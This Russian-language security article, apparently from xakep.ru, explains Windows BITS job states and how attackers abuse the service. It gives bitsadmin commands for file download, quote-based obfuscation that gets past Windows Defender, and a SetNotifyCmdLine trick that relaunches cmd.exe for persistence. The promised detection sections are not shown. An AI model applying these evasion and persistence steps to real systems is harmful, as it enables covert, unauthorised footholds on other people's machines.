Клочки по закоулочкам. Как устроена служба BITS в Windows, и как ее атакуют

Содержание статьи

  • Состояния задач BITS
  • Начальное состояние (starting)
  • Состояние действия (action)
  • Состояния передачи (transferred)
  • Окончательные состояния (final)
  • Как менять состояния задач
  • Эксплуатация BITS
  • Создаем задачу для загрузки файла или локального копирования
  • Выполняем нагрузку и закрепляемся в системе
  • BITS Tamparing
  • Скрытие в HTTP-трафике
  • Обнаружение
  • Журнал подсистемы BITS
  • Обнаруживаем создание и завершение задачи
  • Создание задачи BITS подозрительным процессом
  • Создание дочернего процесса службой BITS
  • Обнаружение загрузки DLL
  • Создание временного файла
  • Ищем аргументы командой строки и командлетов PowerShell
  • Обнаружение эксплуатации BITS с помощью Windows Defender
  • Выводы

Се­год­ня мы с тобой под­робно рас­смот­рим служ­бу интеллек­туаль­ной переда­чи фай­лов в Windows, она же BITS (Background Intelligent Transfer Service). Помимо пря­мого пред­назна­чения она может помогать хакерам и пен­тесте­рам оста­вать­ся незаме­чен­ными при ата­ках на Windows. Заод­но обсу­дим, как обе­зопа­сить сис­тему от про­ник­новения.

BITS — это сер­вис, пред­назна­чен­ный для заг­рузки и отправ­ки фай­лов на сер­веры HTTP и SMB. Клю­чевые воз­можнос­ти BITS:

  • ав­томати­чес­кое возоб­новле­ние переда­чи фай­лов при потере сетево­го соеди­нения или ошиб­ке;
  • воз­можность менять ско­рость заг­рузки с уче­том про­пус­кной спо­соб­ности сети и пот­ребнос­тей дру­гих при­ложе­ний.

BITS работа­ет с «задани­ями» (job, задача). Задание — это кон­тей­нер, который содер­жит один или нес­коль­ко фай­лов для переда­чи и свой­ства, которые опре­деля­ют, как переда­вать фай­лы. У каж­дого задания есть при­ори­тет. Задания с  высоким при­ори­тетом обра­баты­вают­ся быс­трее, чем осталь­ные. При соз­дании задачи опре­деля­ется один из трех ти­пов:

  • BG_JOB_TYPE_DOWNLOAD — заг­рузка на локаль­ную сис­тему;
  • BG_JOB_TYPE_UPLOAD — переда­ча на уда­лен­ный сер­вер;
  • BG_JOB_TYPE_UPLOAD_REPLY — переда­ча на сер­вер и получе­ние фай­ла в ответ.

 

Состояния задач BITS

За­дача BITS может находит­ся в сос­тоянии одно­го из четырех клас­сов: starting, action, transferred, и final, которые мы рас­смот­рим ниже.

 

Начальное состояние (starting)

Жиз­ненный цикл задания BITS начина­ется с его соз­дания. Началь­ное сос­тояние — BG_JOB_STATE_SUSPENDED (задание BITS при­оста­нов­лено). В этом сос­тоянии ты можешь добавить фай­лы в задание и уста­новить его свой­ства. Для выпол­нения задания можем выпол­нить метод Resume. Если ты решишь выпол­нить задание без фай­лов, оно вер­нет код ошиб­ки BG_E_EMPTY, и задание оста­нет­ся при­оста­нов­ленным.

Поль­зователь, который соз­дал задание BITS явля­ется его вла­дель­цем (поль­зователь, с при­виле­гиями адми­нис­тра­тора, может стать вла­дель­цем любой задачи). Задача BITS выпол­няет­ся, ког­да поль­зователь авто­ризо­ван в сис­теме с инте­рак­тивным типом вхо­да.

 

Состояние действия (action)

К это­му клас­су отно­сят­ся сле­дующие сос­тояния:

  • BG_JOB_STATE_QUEUED — задание находит­ся в оче­реди и ждет выпол­нения.
  • BG_JOB_STATE_CONNECTING — служ­ба BITS пыта­ется под­клю­чить­ся к уда­лен­ному сер­веру. Если соеди­нение успешно, сос­тояние задачи изме­нит­ся на BG_JOB_STATE_TRANSFERRING, а в про­тив­ном слу­чае на BG_JOB_STATE_TRANSIENT_ERROR.
  • BG_JOB_STATE_TRANSFERRING — BITS переда­ет дан­ные задания.
  • BG_JOB_STATE_TRANSIENT_ERROR — про­изош­ла ошиб­ка, пос­ле которой переда­ча может быть вос­ста­нов­лена. BITS будет пытать­ся выпол­нить задание какое‑то вре­мя, а если не выпол­нится, то сос­тояние изме­нит­ся на BG_JOB_STATE_ERROR.

Сос­тояние задания меня­ется меж­ду ста­туса­ми, пока BITS не передаст все фай­лы из него. Если задача не выпол­нится в течение выделен­ного вре­мени, оно воз­вра­щает­ся в сос­тояние BG_JOB_STATE_QUEUED, и начина­ется переда­ча из сле­дующе­го задания.

 

Состояния передачи (transferred)

За­дача перехо­дит в сос­тояние BG_JOB_STATE_TRANSFERRED (переда­ча дан­ных успешно выпол­нена), ког­да фай­лы переда­ны. Даль­ше ты дол­жен либо отме­нить, либо завер­шить работу это­го задания.

Для успешно­го выпол­нения дол­жны быть переда­ны все фай­лы, ина­че задание завер­шится ошиб­кой — BG_JOB_STATE_ERROR (про­изош­ла неис­пра­вимая ошиб­ка, служ­ба не может передать файл).

 

Окончательные состояния (final)

Как толь­ко задача перей­дет в окон­чатель­ное сос­тояние, ты не можешь ее изме­нить. Задание будет в сос­тоянии  BG_JOB_STATE_ACKNLEDGED (под­твержда­ет успешное выпол­нение задания) пос­ле вызова Complete, и все заг­ружен­ные фай­лы будут сох­ранены. При вызове метода Cancel опе­раци­онная сис­тема уда­лит заг­ружен­ные фай­лы и сос­тояние задачи перей­дет в BG_JOB_STATE_CANCELLED (задание отме­нено, уда­лено из оче­реди). Задания, которые не перей­дут в окон­чатель­ное сос­тояние, будут авто­мати­чес­ки отме­нены.

 

Как менять состояния задач

По­ка задание не находит­ся в одном из окон­чатель­ных сос­тояний, ты можешь выз­вать любой из четырех методов для его изме­нения:

  • Cancel — исполь­зует­ся для отме­ны задания. Переда­ча фай­лов будет отме­нена, а заг­ружен­ные фай­лы — уда­лены.
  • Complete — заг­ружен­ные фай­лы будут сох­ранены, а непол­ностью передан­ные — уда­лены.
  • Resume — исполь­зует­ся для перево­да задания из сос­тояния BG_JOB_STATE_SUSPENDED. Задания в сос­тоянии BG_JOB_STATE_ERROR или BG_JOB_STATE_TRANSIENT_ERROR будут заново выпол­нены.
  • Suspend — исполь­зует­ся для перево­да задания в сос­тояние BG_JOB_STATE_SUSPENDED. Задание будет находит­ся в этом сос­тоянии до вызова метода Resume.

 

Эксплуатация BITS

Для работы с BITS ты можешь исполь­зовать ути­литу bitsadmin.exe, которая поз­воля­ет управлять задача­ми BITS, либо коман­дле­тами PowerShell.

Пос­ле крат­кого зна­комс­тва с BITS у тебя уже дол­жны появить­ся идеи, как мож­но экс­плу­ати­ровать эту служ­бу. В мат­рице MITRE ATT&CK BITS упо­мина­ется в нес­коль­ких так­тиках:

  • Зак­репле­ние (Defense Evasion) — T1197 BITS Jobs
  • Об­ход средств защиты и обна­руже­ния (Persistence) — T1197 BITS Jobs
  • Кон­троль и управле­ние (Command and Control) — T1105 Ingress Tool Transfer

warning

Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор и редак­ция не несут ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону.

BITS может поз­волить хакерам спря­тать соз­дание про­цес­са и сетево­го соеди­нения за сво­ей служ­бой, впро­чем, некото­рые EDR и EPP уже обна­ружи­вают такие попыт­ки.

Служ­бу мож­но запус­тить вс:

C:WindowsSystem32svchost.exe -k netsvcs -p -s BITS

При пен­тесте BITS может при­годить­ся для раз­ных задач:

  • за­пус­тить пей­лоад или ска­чать файл, исполь­зуя про­цесс служ­бы BITS;
  • заг­рузить файл с уда­лен­ного ресур­са;
  • от­пра­вить файл на уда­лен­ный ресурс;
  • ско­пиро­вать файл локаль­но;
  • зак­репить­ся в сис­теме.

Дей­ствия опи­сан­ные ниже так­же мож­но выпол­нить с помощью коман­дле­тов PowerShell:

  • Start-BitsTransfer;
  • Get-BitsTransfe;
  • Suspend-BitsTransfer;
  • Resume-BitsTransfer;
  • Complete-BitsTransfer;
  • Remove-BitsTransfer.

Под­робно оста­нав­ливать­ся на них мы не будем.

 

Создаем задачу для загрузки файла или локального копирования

Для соз­дания задачи, которая будет заг­ружать файл с уда­лен­ного ресур­са можем выпол­нить коман­ды ниже.

# Создаем задачу с именем hacks bitsadmin /create hacks # Добавляем файл для загрузки bitsadmin /addfile hacks http://example.com/file.txt C:usersd3f0x0Downloadstest.txt # А если для копирования, то bitsadmin /addfile hacks C:Usersqwer1.txt c:usersqwerqwer11.qwer1 # Вызываем задачу, используя метод resume bitsadmin /resume hacks # Подтверждаем выполнение задачи bitsadmin /complete hacks

Как ты дума­ешь, что тебя ждет на эта­пе добав­ления локаль­ного фай­ла в задачу для копиро­вания? Пра­виль­но, Windows Defender нач­нет ругать­ся и выдавать сооб­щение Trojan:Win32/BITSAbuse.AS.

Мо­жем по‑быс­тро­му подоб­рать количес­тво кавычек для обфуска­ции коман­ды, и получим:

b"it"sa"dm"in /addfile hacks c:Usersqwer1.txt c:usersqwerqwer11.qwer1

Ес­ли запус­тить эту коман­ду, файл все же добавит­ся в задачу, а детект сра­бота­ет уже пос­ле это­го.

www

Под­робнее про обфуска­цию cmd/bat можешь по­читать в бло­ге Red Team Notes.

 

Выполняем нагрузку и закрепляемся в системе

В отли­чие от пре­дыду­щего спо­соба у нас добав­ляет­ся исполь­зование коман­ды для нас­трой­ки уве­дом­ления bitsadmin /SetNotifyCmdLine.

# Создаем задачу с именем hacks bitsadmin /create hacks # Добавляем файл для загрузки bitsadmin /addfile hacks "C:Usersqwer1.txt" c:usersqwerqwer11.qwer1 # Установка уведомления, запуск c:windowssystem32cmd.exe bitsadmin /SetNotifyCmdLine hacks c:windowssystem32cmd.exe NULL # Вызываем задачу, используя метод resume bitsadmin /resume hacks # Подтверждаем выполнение задачи bitsadmin /complete hacks

Да­вай поз­накомим­ся с механиз­мом уве­дом­лений под­робнее. Мы уже зна­ем, что для его уста­нов­ки исполь­зует­ся аргу­мент SetNotifyCmdLine. Остался воп­рос, ког­да сра­бота­ет уве­дом­ление. Обра­тим­ся к докумен­тации, и уви­дим, что опре­деле­ны че­тыре типа уве­дом­лений:

  • 1 — генери­рует событие, ког­да все фай­лы в задании были переда­ны (ста­тус BG_JOB_STATE_TRANSFERRED);
  • 2 — генери­рует событие при воз­никно­вении ошиб­ки (ста­тус BG_JOB_STATE_ERROR);
  • 3 — генери­рует событие, ког­да все фай­лы были переда­ны или при воз­никно­вении ошиб­ки (по умол­чанию, ста­тус BG_JOB_STATE_TRANSFERRED и BG_JOB_STATE_ERROR);
  • 4 — отклю­чает уве­дом­ление.

Для уста­нов­ки типа уве­дом­лений можешь исполь­зовать коман­ду:

bitsadmin /SETNOTIFYFLAGS hacks 1

Ус­танов­ленная для уве­дом­ления коман­да будет дочер­ним про­цес­сом служ­бы BITS. Но нуж­но пом­нить, что соз­дание дочер­них про­цес­сов от svchost.exe — не менее подоз­ритель­но, чем запуск ути­лит для работы с BITS. Тем не менее, такой метод может поз­волить обой­ти некото­рые поведен­ческие модули.

Ку­да более ред­кое при­мене­ние BITS — это зак­репле­ние в сис­теме. Для это­го мож­но исполь­зовать все те же коман­ды, что я при­водил выше. Дело в том, что если выз­ванная в рам­ках уве­дом­ления прог­рамма не отме­нила (cancel) или не завер­шила (complete) задание, BITS сно­ва ее вызовет по исте­чении минималь­ной задер­жки, по умол­чанию это 600 секунд. Для изме­нения зна­чения можем исполь­зовать такую коман­ду:

bitsadmin /setminretrydelay hacks 35

Пос­ле это­го BITS будет вызывать уве­дом­ление каж­дые 35 секунд, пока задача не перей­дет в финаль­ное сос­тояние.

Воз­ника­ет воп­рос, как дол­го может работать такая задача? Для это­го есть параметр NoProgressTimeout, зна­чение которо­го 1209600 секунд (14 дней). Изме­нить зна­чение можешь такой коман­дой:

bitsadmin /setnoprogresstimeout myDownloadJob 20

В резуль­тате ты смо­жешь зак­репить­ся в сис­теме, если не выпол­нишь коман­ду bitsadmin /complete hacks или bitsadmin /cancel hacks.

Соз­даем задачу с име­нем hacks:

bitsadmin /create hacks

До­бав­ляем файл для заг­рузки:

bitsadmin /addfile hacks "C:Usersqwer1.txt" c:usersqwerqwer11.qwer1

Ус­тановим уве­дом­ление и запус­тим cmd.exe:

bitsadmin /SetNotifyCmdLine hacks c:windowssystem32cmd.exe NULL

Вы­зыва­ем задачу, исполь­зуя метод resume:

bitsadmin /resume hacks

И, конеч­но, не под­твержда­ем или не отме­няем выпол­нение задачи.

 

BITS Tamparing

Поль­зователь может прос­мотреть спи­сок сво­их задач, а локаль­ный адми­нис­тра­тор — спи­сок задач всех поль­зовате­лей.

Источник: xakep.ru

Ответить

Ваш адрес email не будет опубликован. Обязательные поля помечены *